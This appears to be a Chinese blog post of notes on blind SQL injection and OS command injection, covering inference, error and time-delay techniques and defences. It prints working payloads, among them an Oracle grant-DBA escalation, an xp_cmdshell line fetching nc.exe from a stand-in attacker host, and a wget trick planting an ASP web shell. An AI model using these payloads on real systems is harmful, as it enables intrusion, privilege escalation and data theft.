如果第一个字符为A,这个条件为真。因为应用程序的响应等同于最初的1=1响应,所以Absinthe将检测到这一点。通过自动执行大量查询,Absinthe将获得整个字符串。

实际上,Absinthe不用循环使用每一个可能的字符查找“触点”,相反,它使用一种更加复杂的二进制速查技巧,显著减少所需请求的数量。这个技巧首先测试被查询的字符是否大于X(全部允许值的中间值),如果该字符大于X,就对1.5X进行重复测试;否则,就对0.5X进行重复测试。例如:

admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 19443--

admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 9722--

etc...

 

如果Absinthe已经收集到需要的全部信息,甚至可以进入Dowload Records选项卡,以XML格式输出收集到的信息。

 

·2.引发条件性错误

这种技巧利用了数据库在求条件语句的值时表现出得一个行为特点:数据库将根据其他部分的情况,仅对那些需要求值的语法部分求值。包含WHERE字句的SELECT语句就是表现出这种行为的一个典型示例:

SELECT X FROM Y WHERE C

这条语句使得数据库访问表Y的每一行,评估条件C;如果条件C为真,返回X。如果条件C永远为假,永远不求出表达式X的值。

可以找到一个语法有效但如果求值就会生成错误的表达式X,对这种行为加以利用。在ORACLE与MS-SQL中,被零除计算(divide-by-zero computation)就是这样的表达式,如1/0.如果条件C为真,那么求表达式X的值,这就造成一个数据库错误。如果条件C为假,就不会发生错误。因此,可以通过是否发生错误测试任意一个条件C。

下面的查询就是一个典型的示例,它查询默认的Oracle用户DBSNMP是否存在,如果该用户存在,就会求表达式1/0的值,造成一个错误。

SELECT 1/0 FROM dual WHERE (SELECT username From all_users Where username = 'DBSNMP') = 'DBSNMP'

下面的查询检查虚构用户AAAAAA是否存在,因为WHERE条件永远为假,所以不求表达式1/0的值,因而不会发生错误。

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = 'AAAAAA') = 'AAAAAA'

 

这种技巧的目的是在应用程序中引发一个条件式响应,即使注入的查询不会给应用程序逻辑或数据处理造成影响。

 

·3.使用时间延迟

此方法是根据攻击者指定的条件造成时间延迟的查询。攻击者可以提交他设计的查询,然后监控服务器作出响应所花的时间。如果发生延迟,攻击者可推断条件为真。即使在两种情况下应用程序的响应完全相同,攻击者仍然可根据是否存在时间延迟从数据库中提取依比特数据。通过大量执行这类查询,攻击者就能够系统的从数据库中提取任何复杂的数据,每次一比特。

这种引发适当时间延迟的方法的精确性取决于所使用的目标数据库。MS-SQL中包含一个内置的WAITFOR命令,可用于引起一个指定的时间延迟。例如,如果当前数据库用户为SA,下面的查询将造成5秒钟的时间延迟:

If(select user) = 'sa' waitfor delay '0:0:5'

使用这个命令,攻击者就能够以各种方式提取任何信息,一种方法是利用前面已经描述的、在应用程序返回条件性响应时用到的相同技巧。现在,如果满足一个特殊条件,注入的查询就不在触发一个不同的应用程序响应,相反,它引发一次时间延迟。例如,下面的第二个查询将引发一次时间延迟,表示被截获字符串的第一个字母为A。

if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'

if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'

和前面一样,攻击者可以循环使用每个字符的所有可能值,直到发生时间延迟。另外,可以通过减少所需请求的数量,提高攻击的效率。在介绍Absinthe时描述的另一个技巧,是将每个字节的数据划分成比特,并在每次查询中获得一比特的数据。POWER命令和按位“与”运算符(bitwise and operator)&可用于在逐比特的基础上指定条件。例如,以下查询测试被截获数据的第一个字节的第一比特,如果其值为1,终止查询:

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'

如前所述,这种引发时间延迟方法的准确性在很大程度上取决于所使用的数据库。其他数据库并没有内置的时间延迟命令;但是,还是可以使用其他技巧造成时间延迟。

在MYSQL中,可以使用基准函数(benchmark function)重复执行一个特定的操作。指示数据库执行一个处理器密集型操作,如SHA-1散列,大量的操作次数将造成一次可测量的时间延迟。例如:

Select if(user() like 'root@%',benchmark(50000,shal('test')),'false')

 

在ORACLE中,一种方法是使用UTL_HTTP连接一个不存在的服务器,造成一次操作超时。这回使得数据库尝试与指定的服务器建立连接,并最终造成超时。例如:

SELECT 'a'||UTL_HTTP.Request('Http://madeupserver.com') from dual

...delay...

ORA-29273:HTTP Request failed

ORA-06512:at "SYS.UTL_HTTP",Line 1556

ORA-12545:Connect failed because target host or object does not exist

可以利用这种行为根据指定的某个条件造成时间延迟。例如,如果默认的Oracle账户SBSNMP存在,下面的查询将会造成一次超时:

SELECT 'a'||UTL_HTTP.Request('http://madeupserver.com') From dual WHERE (select username From all_users Where username = 'DBSNMP') = 'DBSNMP'

如前所述,在Oracle和MySQL数据库中,都可以使用SUBSTR(ING)和ASCII函数每次一字节的获取任意信息。

 

我们已经说明了如何使用时间延迟来获取有用的信息,然而,当对应用程序进行初步探查、检测SQL注入漏洞时,时间延迟技巧也可能非常有用。在一些完全盲目的SQL注入攻击中,浏览器中不会显示查询结果,所有错误都被应用程序以隐含的方式处理,使用提交专门设计的输入的标准技巧可能很难检测出漏洞。这时,使用时间延迟是在初步探查过程中检测一个漏洞是否存在最有效方法。例如,如果后端数据库为MS-SQL,那么可以将下面的两个字符串轮流注入每个请求参数中,并监控应用程序响应请求所用的时间,从而确定所有漏洞:

';waitfor delay '0:30:0'--

1;waitfor delay '0:30:0'--

 

J。SQL注入之外:扩大数据库攻击范围

 

ORACLE:

人们已在Oracle数据库软件中发现了大量安全漏洞。如果找到一个允许执行任意查询的SQL注入漏洞,那么就可以利用这种漏洞提升到数据管理员权限

Oracle包含许多可在数据库管理员权限下运行的内置存储过程,并已发现在这些存储过程中存在的SQL注入漏洞。攻击者可以利用这个缺陷,在易受攻击的字段中注入grant DBA to public查询来提升权限。

select sys.DBMS_EXPLORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1);execute immediate ''declare

pragma autonomous_transation;begin execute immediate ''''grant dba to public'''';end;'';end;--','CTXSYS',1,'1',0) from dual

 

这种类型的攻击可通过利用Web应用程序中的SQL注入漏洞,在易受攻击的参数中注入函数来实现。

许多其他类型的缺陷也影响到ORACLE的内置组件。一个示例是CTXSYS.DRILOAD.VALIDATE_STMT函数。这个函数的目的是检查一个指定的字符串中是否包含一个有效的SQL语句。然而,在早期版本的Oracle中,在确定被提交的语句的过程中,这个函数实际上执行了该语句。这意味着任何用户只需向这个函数提交一个语句,就能够作为数据库管理员执行该语句。例如:exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC')

除这些漏洞外,Oracle还含有大量默认功能,这些功能可被低权限用户访问,并可用于执行各种敏感操作,如建立网络连接或访问文件系统。除了前面描述的用于建立带外连接的功能强大的包以外,UTL_FILE包可用于在数据库服务器文件系统上读取和写入文件。

 

K。SQL语法与错误参考

1.SQL语法

ORACLE:

ASCII和SUBSTRING:ASCII('A')等于65

                  SUBSTR('ABCDE',2,3)等于BCD

 

获取当前数据库用户:Select Sys.login_user from dual

                    SELECT user From dual

                    SYS_CONTEXT('USERENV','SESSION_USER')

 

引起时间延迟:UTL_HTTP.Request('http://madeupserver.com')

获取数据库版本字符串:Select banner from v$version

获取当前数据库:SYS_CONTEXT('USERENV','DB_NAME')

获取当前用户的权限:SELECT * from session_privs

显示用户对象:SELECT Object_name,object_type from user_objects

显示用户表:SELECT Object_name,object_type from user_objects Where object_type = 'TABLE'

显示用户访问的所有表:SELECT table_name from all_tables

显示表foo的栏名称:Select column_name,name from user_tab_columns where table_name = 'FOO'(如果目标数据库不为当前应用程序用户所有,使用ALL_tab_columns表)

L。防止SQL注入

部分有效的防御措施

·1.单引号控制

由于单引号在SQL注入漏洞中占有突出地位,防御这种攻击的一种常用方法,就是将用户输入中的任何单引号配对,对他们进行转义。但是下面这两种情况下,这种方法无法奏效。

A。用户提交的数字数据内置在SQL查询中。

B。在二阶SQL注入攻击中,最初在插入数据库中时已经完全转义的数据随后被从数据库中读取出来,然后又再次写入。当数据被重新使用时,最初被配对的引号又恢复到单引号形式。

·2.使用存储过程完成全部数据库访问

无疑,定制的存储过程可增强安全性,提高性能;然而,由于两方面的原因,他们并不能保证防止SQL漏洞。

A。如在使用Oracle的示例中所见,编写存在缺陷的存储过程可能在本身的代码中包含SQL注入漏洞。在存储过程中构建SQL语句时也可能出现类似的安全问题,使用存储过程也无法防止漏洞产生。

B。即使使用安全可靠的存储过程,但如果使用用户提交的输入以不安全的方式调用这个存储过程,页仍然可能出现SQL注入漏洞。例如,假设用户注册功能在一个存储过程中执行,该存储过程通过以下方式调用:

exec sp_RegisterUser 'joe','secret'

这个语句和一个简单的Insert语句一样易于受到攻击。例如,攻击者可以提交以下密码:

foo';exec master..xp_cmdshell 'tftp wahh-attacker.com Get nc.exe'--

应用程序将执行以下批量查询:

exec sp_RegisterUser 'joe','foo';exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'

因此,使用存储过程并没有作用。

 

·3.参数化查询

大多数数据库和应用程序开发平台都提供API,对不可信的输入进行安全处理。以防止SQL注入漏洞。参数化查询(也叫准备好的语句)分两个步骤建立一个包含用户输入的SQL语句。

(1)应用程序制定查询结构,为用户输入的每个数据预留占位符。

(2)应用程序制定每个占位符的内容。

至关重要的是在第二个步骤中指定的专门设计的数据无法破坏在第一个步骤中指定的查询结构。因为查询结构已经确定,且相关API对任何类型的占位符数据进行安全处理,因此它总被解释为数据,而不是语句结构的一部分。

 

使用参数化查询可有效防止SQL注入,但还要注意以下三个重要的限制:

(1)应在每一个数据库查询中使用参数化查询

(2)插入查询中的每一种数据都应适当进行参数化。

(3)参数占位符不能用于指定查询中表和栏的名称。

 

·4 深层防御

通常,一种稳定的安全机制应采用深层防御措施提供额外的保护,以防止前端防御由于任何原因失效。当防御针对后端数据库的攻击时,应采用另外三层防御。

(1)当访问数据库时,应用程序应尽可能使用最低权限账户。

(2)许多企业数据库包含大量默认功能,可被能够执行任意SQL语句的攻击者利用。

(3)应评估、测试并及时安装供应商发布的所有安全补丁,以修补数据库软件本身已知存在的漏洞。

 

M。注入操作系统命令

常用于发出操作系统命令的函数,如PHP中的exec和ASP中的wscript函数,通常并不限制命令的可执行范围。即使开发者准备使用API执行一个相对善意的任务,如列出一个目录的内容,攻击者还是可以对其进行暗中破坏,从而写入任意文件或启动其他程序。通常,所有的注入命令都可在Web服务器的进程中安全运行。它具有足够强大的功能,使得攻击者能够完全控制整个服务器。

 

N。查找OS命令注入漏洞

渗透测试步骤:

1.通常可以使用ping命令让服务器在一段时期内检测它的回环接口(loopback interface),从而触发时间延迟。Windows和UNIX平台在处理命令分隔符与ping命令方面存在一些细微的差别,但是,如果没有设置过滤,下面的通用测试字符串应该能够在两个平台上引起30秒额时间延迟。

||ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &

 

2.如果应用程序过滤掉某些命令分隔符,为提高检测到命令注入漏洞的可能性,还应该轮流向每一个目标参数提交下面的每个测试字符串,并监控应用程序进行响应的时间。

| ping -i 30 127.0.0.1 |

| ping -n 30 127.0.0.1 |

& ping -i 30 127.0.0.1 &

& ping -n 30 127.0.0.1 &

;ping 127.0.0.1 ;

%Oa ping -i 30 127.0.0.1 %Oa

'ping 127.0.0.1'

 

3.如果发生时间延迟,说明应用程序可能易于受到命令注入攻击。重复几次测试过程,确定延迟不是由于网络延时或其他异常造成的。可以尝试更改-n或-i参数的值,并确定经历的时间延迟是否会随着提交的值发生对应的变化。

4.使用所发现的任何一个可成功实施攻击的注入字符串,尝试注入另一个更有用的命令(如ls或dir),确定是否能将命令结果返回到浏览器上。

5.如果不能直接获得命令执行结果,还可以采用其他方法:

  (1)可以尝试打开一条通向自己计算的带外通道。尝试使用TFTP上传工具至服务器,使用telnet或netcat建立一个通向自己计算机的反向shell,并使用mail命令通过SMTP发送命令结果。

  (2)可以将命令结果重定向到Web根目录下的一个文件,然后使用浏览器直接获取结果。例如:

  dir > c:\inetpub\wwwroot\foo.txt

6.一旦找到注入命令的方法并能够获得命令执行结果,就应当确定自己的权限(通过使用whoami或类似命令,或者尝试向一个受到保护的目录写入一个无害的文件)。然后就可以设法提升自己的权限,进而秘密访问应用程序中的敏感数据,或者通过被攻破的服务器攻击其他主机。

7.有时,由于某些字符被过滤掉,或者应用程序所使用的命令API的特殊行为,可能无法注入一个完全独立的命令。但是攻击者仍然可以破坏所执行的命令的行为,得到想要的结果。

8.<和>字符分别用于将一个文件的内容指向命令的输入以及将命令的输出指向一个文件。如果不可能使用前面的技巧注入一个完全独立的命令,仍然可以使用<和>字符读取及写入任意文件的内容

9.应用程序调用的许多操作系统命令接受大量控制其行为的命令参数。通常,用户提交的输入以这种参数的形式传送给命令处理,只需在相关参数后插入一个空格,就可以在空格后添加一个参数。例如,一个Web创作应用程序可能拥有一项功能,允许服务器获得一个用户指定的URL,然后将它的内容呈现在浏览器上进行编辑。如果应用程序调用Wget程序,那么就可以通过附加wget使用-o命令行参数,在服务器的文件中写入任何文件的内容。例如:

url = http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\script\cmdasp.asp

 

许多命令注入攻击要求注入空格分隔命令行自变量,如果攻击者发现应用程序过滤空格,并且攻击的是UNIX平台,那么它可以使用包含空白符字段分隔符的¥IFS环境变量代替空格。

O。防止OS命令注入

通常来说,防止OS注入命令注入漏洞的最佳方法是完全避免直接调用系统命令。WEB应用程序需要执行的几乎任何任务都可以通过使用内置API完成,而且攻击者无法控制这些API,使其执行其他预料之外的命令。

展开阅读全文
加载中

作者的其它热门文章

打赏
0
24 收藏
分享
打赏
0 评论
24 收藏
0
分享
返回顶部
顶部